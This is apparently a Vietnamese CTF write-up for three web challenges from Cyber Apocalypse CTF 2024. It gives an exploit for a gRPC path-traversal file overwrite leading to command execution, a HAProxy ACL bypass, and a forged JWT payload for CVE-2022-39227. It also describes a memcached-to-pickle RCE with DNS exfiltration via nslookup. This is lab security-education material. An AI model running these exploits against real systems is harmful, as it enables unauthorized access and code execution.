Cyber Apocalypse CTF 2024
WEB: testimonial
Challenge
As the leader of the Revivalists you are determined to take down the KORP, you and the best of your faction's hackers have set out to deface the official KORP website to send them a message that the revolution is closing in.
- Bài cho chúng ta web đơn giản, cho phép lưu các note vào folder của server.
- File flag nằm ở
/
và được đặt tên random
# Change flag name
mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txt
- Server sử dụng gRPC để xử lý logic
- Code được chạy với
Air
- live reload for Go apps. Cụ thể hơn đối với app này là tự reload các file "tpl", "tmpl", "templ", "html"
Khi submit một note mới, 2 params được truyền vào là customer
và testimonial
. Với customer
là tên file được lưu vào public/testimonials/
và testimonial
là nội dung file.
func HandleHomeIndex(w http.ResponseWriter, r *http.Request) error {
customer := r.URL.Query().Get("customer")
testimonial := r.URL.Query().Get("testimonial")
...
if err := c.SendTestimonial(customer, testimonial); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
}
}
...
}
Hai param được truyền vào hàm SendTestimonial
. Thông qua hàm này, tên file đã bị filter và loại bỏ tất cả các kí tự có hại --> Không thể pathtraversal để ghi đè file được.
func (c *Client) SendTestimonial(customer, testimonial string) error {
...
for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
customer = strings.ReplaceAll(customer, char, "")
}
_, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial})
...
}
Tuy nhiên, đó chỉ là những đoạn code để xử lý ở phía client. Đoạn code xử lý chính của server với gRPC lại không có bất kì biện pháp phòng chống nào.
func (s *server) SubmitTestimonial(ctx context.Context, req *pb.TestimonialSubmission) (*pb.GenericReply, error) {
...
err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644)
...
}
Có thể thấy, code format req.Customer
và write file mà không hề kiểm tra các kí tự xấu. Nếu ta có thể gọi thẳng đến gRPC server mà không cần thông qua các bước xử lý rườm rà thì có thể write file mới, hay ghi đè file cũ một cách dễ dàng.
Như vậy, hướng đi là tạo một gRPC client mới, connect đến gRPC server và SubmitTestimonial, ghi đè file view/home/index.templ
, khi file bị thay đổi, app cũng sẽ reload để cập nhật nội dụng mới của file.
Tạo file index.tmpl
mới thay thế cho nội dung file cũ để đọc flag
index.tmpl
package home
import (
"fmt"
"os/exec"
)
func getFlag() string {
cmd := exec.Command("/bin/sh", "-c", "cat /flag*.txt")
out, err := cmd.Output()
if err != nil {
return "Error"
}
return string(out)
}
templ Index() {
{getFlag()}
}
Tạo gRPC client, submit testimonial để ghi đè file có sẵn với pathtraversal, mình dựa vào src gốc để tạo gRPC client
solve.go
package main
import (
"fmt"
"htbchal/client"
"log"
"os"
)
func HandleHomeIndex(customer, testimonial string) {
if customer != "" && testimonial != "" {
c, err := client.GetClient()
if err != nil {
log.Fatalf("Error getting client: %v", err)
}
if err := c.SendTestimonial(customer, testimonial); err != nil {
log.Fatalf("Error sending testimonial: %v", err)
}
}
}
func main() {
dat, err := os.ReadFile("newhome.templ")
if err != nil {
log.Fatalf("Error reading file: %v", err)
}
fmt.Println("Submitting testimonial...")
HandleHomeIndex("../../view/home/index.templ", string(dat))
}
Chỉ cần chạy file solve.go
để submit testimonial lên cho server, sau đó reload lại trang và lấy flag
WEB: Locktalk
Challenge
In "The Ransomware Dystopia," LockTalk ...(sh1t)... against the encroaching darkness.
- App cho 3 API Endpoints
Có hai endpoint quan trọng là
get_ticket
để lấy jwt token vàflag
để lấy flag dựa vào jwt token.
@api_blueprint.route('/get_ticket', methods=['GET'])
def get_ticket():
...
claims = {
"role": "guest",
...
}
...
@api_blueprint.route('/flag', methods=['GET'])
@authorize_roles(['administrator'])
def flag():
...
Để lấy được flag thì yêu cầu jwt token phải có role là administrators
, tuy nhiên token được generate ra từ /get_ticket
là guest
. Vậy phải faki jwt để lấy được flag.
Tuy nhiên, khi GET /api/v1/get_ticket
lại bị 403 Forbidden, ban đầu mình không đọc kĩ nên không để ý app sử dụng haproxy. Ngó qua config của haproxy thì thấy như sau
frontend haproxy
bind 0.0.0.0:1337
default_backend backend
http-request deny if { path_beg,url_dec -i /api/v1/get_ticket }
khi GET đến thì sẽ bị proxy chặn lại, ACL kiểm tra nếu url bắt đầu với /api/v1/get_ticket
thì chặn lại, ta có thể bypass bằng cách GET /api/v1/../v1/get_ticket
.
Ngoài ra có thể bypass với
//api/v1/get_ticket
(shin24)Hoặc dựa vào haproxy version hiện tại là 2.8.1, bị dính lỗ hổng bảo mật CVE-2023-45539
Đã có jwt với role là
guest
, ta cần tìm cách edit jwt để có thể chỉnh thành admin
. Mà ở đây app sử dụng python-jwt v3.3.3 để xử lý jwt. Đây cũng là một phiên bản cũ và bị dính lỗ hổng bảo mật CVE-2022-39227 cho phép ta chỉnh sửa, giả mạo jwt mới với sign cũ.
Đến đây ta chỉ cần dựa vào CVE-2022-39227 chỉnh sửa jwt token từ role guest
thành administrators
và GET /api/v1/flag
với jwt token để lấy flag.
Về CVE-2022-39227
python-jwt
sau đó đã cập nhật lên v3.3.4 để fix lỗi (#88ad9e6), cụ thể thêm hàm để check jwt format Ở phiên bản cũ, ta có thể đưa vào JSON string thay vì JWT string format, dẫn đến việc giả mạo dữ liệu mà vẫn có thể verify thành công.
Khi GET /api/v1/flag
cùng jwt, app sẽ gọi hàm verify jwt được truyền vào
def verify_jwt(jwt, #jwt
pub_key=None, #current_app.config.get('JWT_SECRET_KEY')
allowed_algs=None, # ['PS256']
iat_skew=timedelta(),
checks_optional=False,
ignore_not_implemented=False):
...
header, claims, _ = jwt.split('.')
parsed_header = json_decode(base64url_decode(header))
...
if pub_key:
token = JWS()
token.allowed_algs = allowed_algs
token.deserialize(jwt, pub_key)
elif 'none' not in allowed_algs:
raise _JWTError('no key but none alg not allowed')
parsed_claims = json_decode(base64url_decode(claims))
...
return parsed_header, parsed_claims
Code tách jwt được truyền vào theo kí tự .
thành 3 phần. Với phần tử đầu tiên là header
, thứ hai là claims
(payload) và signature không sử dụng đến. Sau đó gọi token.deserialize
để deserialize jwt, nếu có lỗi gì với jwt thì raise error, ngược lại thì trả về 2 dict được loads sau khi decode base64.
Trace vào hàm deserialize
, ta thấy raw_jws
ban đầu được xem là JSON string, app cố gắng để loads JSON từ raw_jns
. Nếu không được thì mới xem đó là JWT format và split theo kí tự .
Nếu đưa vào JWT đã bị thay đổi theo jwt format thì sẽ verify thất bại, ta cần thử đưa vào jwt dưới dạng JSON string.
def deserialize(self, raw_jws, key=None, alg=None):
...
try:
try:
djws = json_decode(raw_jws)
...
except ValueError:
data = raw_jws.split('.')
...
except Exception as e: # pylint: disable=broad-except
raise InvalidJWSObject('Invalid format') from e
if key:
self.verify(key, alg)
Tập trung vào trường hợp json_decode
thành công. Code sẽ lấy payload (claims), signature, protected (header) từ djws
và tiến hành verify. Ta cần đưa vào jwt thỏa mãn:
- Là dạng JSON string
- Sau khi split kí tự '.' chia ra 3 phần: header, payload và _ (KHÔNG QUAN TRỌNG 💣💥💥)
Vì hàm verify_jwt
chỉ return về 2 phần đầu, và hàm desrialize
dựa vào dict keys (protected, payload, signature,...) để dựng lại jwt token và verify --> Có thể fake 2 phần đầu là 2 phần đã bị thay đổi, và jwt token được verify là jwt token cũ.
{
"header.new_payload.hehe":"huhu",
"protected": header,
"payload": original_payload,
"signature": signature
}
Từ payload này, Có thể thấy jwt đưa vào app/v1/flag
thỏa mãn cả hai điều kiện trên.
Cụ thể với jwt là
eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTA5OTQ4MTAsImlhdCI6MTcxMDk5MTIxMCwianRpIjoiMkt1NkN5cUZrLTdjSXBsV1FDNzVzZyIsIm5iZiI6MTcxMDk5MTIxMCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.TDMdUJYNSqpVxZKFLAD9vZnYco4i-h9rC5RZIQd9eO4KhsXt_K6L1iVidAAmMUOh8ZT8TMgLVqHfWWG4ymqeC-FGEAR4yNzwHP5IyvrOMVxYWboiR0vbxf-dREMZ5ikKATdNhENEyA7MoQq_alyU5H6csxJKmV9kchJviyB58OQ06BL7XhVC4vkOkiHZP_4N5xs_CQm3Za7mVwGiNrv35R4qlX3FJB2UseDpu-kzga1AtgKhat_zSthDBIlXQUmyZFk6sd8FyzHNKTm_pR2JYaebyutmDvIdhOgiNK0hYTjuamBBEeWMMX49k4pbe33Vrrh-oyF58SkCB2fCUhnq-Q
Sẽ thành
{
"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOiAxNzEwOTk0ODEwLCAiaWF0IjogMTcxMDk5MTIxMCwgImp0aSI6ICIyS3U2Q3lxRmstN2NJcGxXUUM3NXNnIiwgIm5iZiI6IDE3MTA5OTEyMTAsICJyb2xlIjogImFkbWluaXN0cmF0b3IiLCAidXNlciI6ICJndWVzdF91c2VyIn0.hehe": "huhu",
"protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9",
"payload":"eyJleHAiOjE3MTA5OTQ4MTAsImlhdCI6MTcxMDk5MTIxMCwianRpIjoiMkt1NkN5cUZrLTdjSXBsV1FDNzVzZyIsIm5iZiI6MTcxMDk5MTIxMCwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ",
"signature":"TDMdUJYNSqpVxZKFLAD9vZnYco4i-h9rC5RZIQd9eO4KhsXt_K6L1iVidAAmMUOh8ZT8TMgLVqHfWWG4ymqeC-FGEAR4yNzwHP5IyvrOMVxYWboiR0vbxf-dREMZ5ikKATdNhENEyA7MoQq_alyU5H6csxJKmV9kchJviyB58OQ06BL7XhVC4vkOkiHZP_4N5xs_CQm3Za7mVwGiNrv35R4qlX3FJB2UseDpu-kzga1AtgKhat_zSthDBIlXQUmyZFk6sd8FyzHNKTm_pR2JYaebyutmDvIdhOgiNK0hYTjuamBBEeWMMX49k4pbe33Vrrh-oyF58SkCB2fCUhnq-Q"
}
Sau khi split, header sẽ là {"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9
nhưng vẫn có thể decode và loads thành công
Sau đó jwt được deserilize và verify Cuối cùng jwt được verify qua JWSCore, vì param
header
được truyền vào từ protected
nên khi tạo JSONG string, mình phải dùng protected
.
Bài viết tham khảo thêm từ @user0x1337/CVE-2022-39227
WEB: SerialFlow
Challenge
SerialFlow is the main global network used by KORP, you have managed to reach a root server web interface by traversing KORP's external proxy network. Can you break into the root server and open pandoras box by revealing the truth behind KORP?
Khi vào web ta sẽ thấy một giao diện khá ngầu Ta có thể chỉnh sửa màu của text khi GET
/set?uicolor=(color)
với color là màu tùy chỉnh. Ngó qua requirements.txt
có thể thấy code sử dụng Flask, Flask-Session và pylibmc (memcached)
Flask==2.2.2
Flask-Session==0.4.0
pylibmc==1.6.3
Werkzeug==2.2.2
debugpy
Code sử dụng memcache làm cache server để lưu data. Có một blog khá thú vị nói về memcached injection to RCE dựa vào Pickle deserialize (unpickle).
Pickle sẽ load val từ memcached server, với full_session_key
có sid là mình có thể tùy chỉnh Theo blog thì ta có thể sử dụng memcached injection để thêm vào memcached server data của mình.
Khi đưa vào cookie và reload page, nhờ memcache injection, ta đã đưa vào dữ liệu của mình như sau
Khi pickle loads
hehe
, hàm os.system
sẽ được chạy và tạo một file huhu.txt
ở temp folders. Như vậy là RCE thành công, từ đây ta có thể đọc file flag và send đến server của mình qua dns với lệnh nslookup
.
Update later